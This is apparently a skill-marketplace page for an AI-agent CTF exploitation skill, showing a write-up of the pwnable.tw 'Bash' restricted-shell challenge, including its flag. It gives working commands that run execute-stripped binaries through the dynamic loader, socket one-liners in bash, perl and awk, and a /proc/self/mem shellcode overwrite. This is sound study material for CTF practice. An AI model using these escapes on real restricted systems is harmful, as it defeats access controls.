Index of every page on this site: llms.txt
All skills
ljagiello avatar

/ctf-pwn

@20d182d
by Lukasz Jagielloljagiello/ctf-skills3.8k stars
447
Run it yourself

Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.

Use this Skill: https://skilld.dev/gh/ljagiello/ctf-skills/ctf-pwn

Nothing lands on disk. Nothing to clean up.

Fork this Skill

Edit a local copy. It keeps the author and licence.

pwnable-twbash.md

≈2.6k tokens on demand. Your agent reads this file only when SKILL.md points to it.

Bash — pwnable.tw (200 pts)

← Back to pwnable.tw Challenge Index

nc chall.pwnable.tw 10108

Flag: FLAG{1nt3nt3d_s0luti0n_1s_CVE-2016-9401_;)}

Challenge Overview

A restricted-environment challenge. The player is dropped into an interactive bash 4.3.0 shell running as the low-privilege bash user. The flag at /flag is root-owned (chmod 400), but a root-owned xinetd service on 127.0.0.1:1337 will cat /flag when connected. The goal is to make a TCP connection to localhost:1337 from within the restricted shell.

Deployment (from Dockerfile):
  Base:       ubuntu:16.04
  Shell:      bash 4.3.0 (custom binary, --noprofile --norc -i)
  User:       bash (low privilege)
  Binaries:   chmod o-x /bin/* /sbin/* /usr/bin/* /usr/sbin/*
              chmod o+x /bin/cat /bin/ls           # only cat and ls are executable
  Filesystem: /tmp, /var/tmp, /dev/shm, /home/bash all read-only bind-mounted
  Flag:       root:root 400 /flag
  Flag svc:   xinetd on 127.0.0.1:1337 — runs "cat /flag" as root

Three Layers of Restriction

Technique Why It Fails
cat < /dev/tcp/127.0.0.1/1337 The provided bash binary was compiled without --enable-net-redirections; /dev/tcp does not exist.
Run nc/python/perl/etc. directly chmod o-x removed execute permission on everything in /bin, /sbin, /usr/bin, /usr/sbin — only cat and ls retained o+x.
enable -f evil.so builtin (loadable builtin via dlopen) Technically bash supports this, but all writable directories (/tmp, /var/tmp, /dev/shm, /home/bash) are read-only bind-mounted. No way to drop a .so file to disk.

Vulnerabilities / Weaknesses

W1 — Dynamic Loader (ld.so) Retains Execute Permission (Unintended, Primary)

Root Cause: The Dockerfile only strips execute from /bin/*, /sbin/*, /usr/bin/*, /usr/sbin/*. The dynamic linker at /lib/x86_64-linux-gnu/ld-2.23.so (and /lib64/ld-linux-x86-64.so.2) is untouched and remains world-executable.

$ ls -l /lib64/ld-linux-x86-64.so.2
lrwxrwxrwx ... -> /lib/x86_64-linux-gnu/ld-2.23.so

$ ls -l /usr/bin/perl
-rwxr-xr--  ...  /usr/bin/perl    # other has read but NOT execute

Bypass: The kernel executes the loader (which has o+x). The loader then reads the target binary (only needs o+r) and maps it into memory for execution. This completely bypasses the missing execute permission:

/lib64/ld-linux-x86-64.so.2 /usr/bin/perl -e 'print "works\n"'

Impact: Every binary under /bin, /usr/bin, etc. that still has read permission (which is all of them) can be executed via the loader trick. This includes perl, python, bash itself (the system /bin/bash which does have /dev/tcp support), awk/gawk, and any other tool with networking capability.

W2 — CVE-2016-9401: bash popd Controlled Free (Intended)

Root Cause: In bash 4.3.0, the popd builtin has a use-after-free vulnerability. When popd is called with a negative, out-of-range offset (e.g., popd -NNN), it free()s a user-controlled address without proper bounds checking.

Impact: Provides an in-process memory corruption primitive. By controlling the freed address, an attacker can:

  1. Corrupt bash's internal heap metadata
  2. Hijack control flow within the bash process
  3. Call libc's socket()/connect() directly from the bash process to reach 127.0.0.1:1337

This path requires no file writes, no external programs, and no /dev/tcp — it works entirely within the bash process's memory, which is exactly what the read-only filesystem restriction was designed to force.

W3 — /proc/self/mem Write Access (Variant Enabler)

Root Cause: The bash process can open /proc/self/mem for writing (exec 3>/proc/self/mem) and use dd (launched via the ld.so trick from W1) to seek to a known code address and overwrite it with shellcode.

exec 3>/proc/self/mem
printf '\x6a\x29\x58...' | /lib/x86_64-linux-gnu/ld-2.23.so /bin/dd >&3 seek=<echo_builtin_addr> bs=1 count=123
echo   # triggers the overwritten echo builtin → shellcode runs

Impact: Arbitrary code execution within the bash process. The shellcode performs socket() + connect() + read() + write() to fetch the flag from localhost:1337.

Exploit Paths

Path A — ld.so + bash /dev/tcp (Simplest, ~45% of Solutions)

Use the loader to execute the system /bin/bash (which, unlike the challenge's custom bash, was compiled with --enable-net-redirections), then use bash's built-in /dev/tcp pseudo-device:

/lib64/ld-linux-x86-64.so.2 /bin/bash
cat < /dev/tcp/127.0.0.1/1337

Or as a one-liner:

/lib64/ld-linux-x86-64.so.2 /bin/bash -c "cat < /dev/tcp/127.0.0.1/1337"

Why it works: The system /bin/bash is a different binary from the challenge's custom /home/bash/bash. It was compiled with net-redirections enabled, so /dev/tcp works.


Path B — ld.so + perl Socket (Most Common, ~45% of Solutions)

Use the loader to execute perl, which has built-in socket support:

/lib64/ld-linux-x86-64.so.2 /usr/bin/perl -MIO::Socket::INET -e '
  my $s = IO::Socket::INET->new(PeerAddr => "127.0.0.1:1337");
  print while <$s>;
'

Variants use different Perl socket APIs:

  • IO::Socket::INET (high-level, most common)
  • Socket module with raw socket()/connect() calls
  • Perl debugger REPL: ld-linux.so perl -de1 then type socket code interactively

Why it works: Perl is world-readable (o+r) so the loader can map and execute it. Perl's socket modules are pure Perl or built-in, requiring no additional file loads.


Path C — CVE-2016-9401: In-Process Memory Corruption (Intended Solution)

The flag itself reveals this: FLAG{1nt3nt3d_s0luti0n_1s_CVE-2016-9401_;)}.

  1. Exploit the popd use-after-free to corrupt bash's heap
  2. Achieve control flow hijack within the bash process
  3. Call libc's already-loaded socket(), connect(), read(), write() to fetch the flag

Why this was intended: This path works even without the ld.so oversight — it requires no external binaries, no file writes, and no /dev/tcp. The read-only filesystem was specifically designed to force this approach. Only solution 3498 explicitly mentions this path; the vast majority used the unintended ld.so bypass.


Path D — ld.so + /proc/self/mem Shellcode Injection (Creative, Rare)

From solution 33090, a three-step approach:

  1. Open /proc/self/mem for writing: exec 3>/proc/self/mem
  2. Use dd (via ld.so trick) to overwrite the echo builtin's code with connect-back shellcode:
    printf '\x6a\x29\x58...' | /lib/x86_64-linux-gnu/ld-2.23.so /bin/dd >&3 seek=4601712 bs=1 count=123
  3. Trigger the overwritten builtin: echo — this now executes shellcode that connects to 127.0.0.1:1337 and prints the flag

Why it's notable: Demonstrates that even without W1 being the intended path, the ld.so trick enables creative self-modifying code approaches.


Path E — ld.so + Other Interpreters (Variants)

The ld.so trick works with any readable dynamic binary. Solutions mention:

  • awk/mawk/gawk with /inet/tcp pseudo-files
  • python with socket module
  • ruby with TCPSocket

Example with awk:

/lib64/ld-linux-x86-64.so.2 /usr/bin/awk 'BEGIN { "/inet/tcp/0/127.0.0.1/1337" |& getline line; print line }'

Exploit Technique Summary

Technique Weakness Used Needs Disk Write Needs External Binary Reliability
ld.so + /bin/bash /dev/tcp W1 No Yes (via loader) 100%
ld.so + perl socket W1 No Yes (via loader) 100%
CVE-2016-9401 popd UAF W2 No No Complex, deterministic
ld.so + /proc/self/mem shellcode W1 + W3 No Yes (dd via loader) 100%
Loadable builtin (.so) N/A Yes — blocked by RO fs No Not feasible on remote

Solution Write-ups

File Path Technique Notes
14.md A ld.so + bash + /dev/tcp Two-liner
821.md B ld.so + perl IO::Socket::INET One-liner
1763.md B ld.so + perl raw Socket Verbose perl
2972.md — (no code, links reference) StackExchange reference
3052.md B ld.so + perl IO::Socket One-liner
3498.md C CVE-2016-9401 Only solution mentioning intended path (redacted)
3578.md B ld.so + perl IO::Socket::INET recv variant
5586.md B ld.so + perl IO::Socket Short one-liner
6247.md B ld.so + perl raw Socket pwntools wrapper
6748.md — Same as Bash Revenge Notes libc difference
7905.md A+B ld.so + bash /dev/tcp Most detailed writeup; covers CVE-2016-9401 intended path
8153.md A ld.so + bash /dev/tcp Two-liner
9251.md — Bash Revenge variant References sibling challenge
10128.md B ld.so + perl REPL (perl -de1) Interactive debugger approach
12672.md B ld.so + perl raw Socket Explicitly notes "not intended"
21490.md A ld.so + bash + xinetd config shown Shows xinetd configuration
25916.md A ld.so + bash /dev/tcp StackExchange reference
27939.md B perl -MSocket one-liner No ld.so prefix (may have had direct perl access)
28605.md A ld.so + bash /dev/tcp Two-liner with glob (ld*)
32010.md A ld.so + bash /dev/tcp Two-liner with glob
32901.md A ld.so + bash one-liner pwntools script
33090.md D ld.so + /proc/self/mem shellcode Most creative: overwrites echo builtin with connect-back shellcode

Files

File Description
desc.txt Challenge description
exp.py Working exploit script (ld.so + perl)
artifacts/bash.tgz Original challenge archive (Dockerfile, bash binary, xinetd config)
solution/*.md Community write-ups (22 solutions)

Source: SKILL.md on GitHub

skilld matched fixed text patterns in SKILL.md and file names. Patterns miss obfuscated code.

skilld run checks every file with the same patterns. It asks for approval before it loads a Skill with a behavior marked Needs approval.

2 alerts26d5 checks · Risk SAFE
  • Gen Agent Trust Hub26d

    This skill is an extensive reference library and toolset for binary exploitation in CTF (Capture The Flag) competitions. It provides detailed documentation, scripts, and techniques for a wide range of vulnerabilities, including heap corruption, stack overflows, and kernel exploits. All recommended tool installations and script operations are standard for security research and are appropriately scoped to its educational purpose.

  • Socket26d

    26 alerts: gptSecurity, gptAnomaly, gptMalware

  • Snyk26d

    Risk: LOW · No issues

  • Runlayer8mo

    7/7 files flagged

  • ZeroLeaks7mo

    Score: 93/100 · 2 sections analyzed

Signed by skilld at 20d182d. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub last week.

Activeupdated 4 weeks ago
metadata
{
  "user-invocable": "false",
  "author": "Lukasz Jagiello"
}
All 1 allowed tools
Bash Read Write Edit Glob Grep Task WebFetch WebSearch
Other metadata
compatibility
Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
  • binary-exploitation
  • ctf
  • rop
  • shellcode
  • heap
  • pwn
  • gdb
  • pwntools
  • kernel
  • seccomp

README badge

README badge for ljagiello/ctf-skills/ctf-pwn

Provides binary exploitation techniques for CTF challenges targeting memory corruption and low-level primitives like buffer overflows, format strings, heap bugs, ROP chains, and kernel exploits. Includes detailed references for ret2libc, ret2csu, SROP, seccomp bypass, heap techniques (House of Apple, tcache poisoning), FILE structure exploitation, and Windows/Linux privilege escalation — but assumes the vulnerable binary is already identified and does not cover reverse engineering or standalone crypto challenges.

Generated from the current SKILL.md.

Does this skill cover heap exploitation?
Yes. The skill includes techniques for House of Apple 2, House of Einherjar, tcache poisoning, FILE structure exploitation, and UAF attacks across glibc and custom allocators.
What platforms and architectures does this support?
Linux (x86, x86_64, ARM) and Windows (SEH-based exploits). macOS is supported for development tools but target exploitation assumes Linux or Windows binaries.
Does this cover kernel exploitation?
Yes. The skill includes kernel ROP, tty_struct heap spray, KASLR/KPTI/SMEP bypass, modprobe_path overwrite, and privilege escalation via ret2usr and kernel memory corruption.
When should I use this skill instead of reverse engineering?
Use this skill when you already understand what the binary does and need to convert a known vulnerability (buffer overflow, format string, UAF, etc.) into code execution. Switch to reverse engineering first if the main blocker is understanding the binary's purpose or control flow.
Does this skill handle web bugs or cryptographic challenges?
No. The skill excludes pure web bugs, disk/packet forensics, and standalone crypto/math challenges. Use ctf-web or ctf-crypto for those domains instead.

Generated from the current SKILL.md. These answers refresh after source changes.